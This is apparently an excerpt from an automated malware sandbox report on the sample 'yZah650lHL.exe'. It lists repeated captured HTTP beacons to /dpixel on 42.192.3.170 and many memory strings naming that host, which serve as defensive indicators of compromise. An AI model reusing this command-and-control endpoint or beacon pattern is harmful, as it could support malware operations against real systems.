Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache

Source: yZah650lHL.exe, 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/
Source: yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420843896.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/
Source: yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2970624866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/%
Source: yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/)
Source: yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/0
Source: yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/9
Source: yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/A
Source: yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2078970685.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/F
Source: yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/M
Source: yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/Q
Source: yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/S:
Source: yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3191073968.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3211424591.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3094866758.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3271622558.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3113705174.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/b-53011b87bd06
Source: yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel
Source: yZah650lHL.exe, 00000000.00000003.2232239149.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288370778.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel#X
Source: yZah650lHL.exe, 00000000.00000003.2039804636.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel$X
Source: yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288485933.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2345864498.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2021019035.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2306808221.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2364539586.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1907581606.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2078970685.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039906619.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel)
Source: yZah650lHL.exe, 00000000.00000003.2176453491.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel)X
Source: yZah650lHL.exe, 00000000.00000003.2913198165.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039906619.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel0
Source: yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2991067107.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420730874.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2970624866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2950128022.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel1b87bd06
Source: yZah650lHL.exe, 00000000.00000003.3328362680.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3132490030.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3031504097.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3071146501.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3308921920.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3051164954.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel1b87bd063
Source: yZah650lHL.exe, 00000000.00000002.4113948673.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel3$
Source: yZah650lHL.exe, 00000000.00000002.4113948673.0000000000761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel7
Source: yZah650lHL.exe, 00000000.00000003.2251319946.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel8s
Source: yZah650lHL.exe, 00000000.00000003.3132490030.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel9
Source: yZah650lHL.exe, 00000000.00000003.1944793809.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel;X
Source: yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1888943587.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2021019035.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1870269974.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1907581606.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2970624866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3094866758.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixel=#
Source: yZah650lHL.exe, 00000000.00000003.2420730874.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelBX
Source: yZah650lHL.exe, 00000000.00000003.2288370778.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944793809.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelGX
Source: yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3191073968.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelHG
Source: yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2950128022.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3271622558.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelHP
Source: yZah650lHL.exe, 00000000.00000003.1739759155.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1701127794.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelM
Source: yZah650lHL.exe, 00000000.00000003.3308921920.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelP
Source: yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelQ
Source: yZah650lHL.exe, 00000000.00000002.4113948673.0000000000761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelS
Source: yZah650lHL.exe, 00000000.00000003.3031504097.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelXu
Source: yZah650lHL.exe, 00000000.00000003.3328362680.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1739759155.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3467626542.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2950128022.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixela
Source: yZah650lHL.exe, 00000000.00000003.3467626542.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelcs
Source: yZah650lHL.exe, 00000000.00000003.3011079051.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelhK
Source: yZah650lHL.exe, 00000000.00000003.1870269974.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3308921920.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelm
Source: yZah650lHL.exe, 00000000.00000003.2913198165.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3211424591.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelp
Source: yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://42.192.3.170/dpixelphy
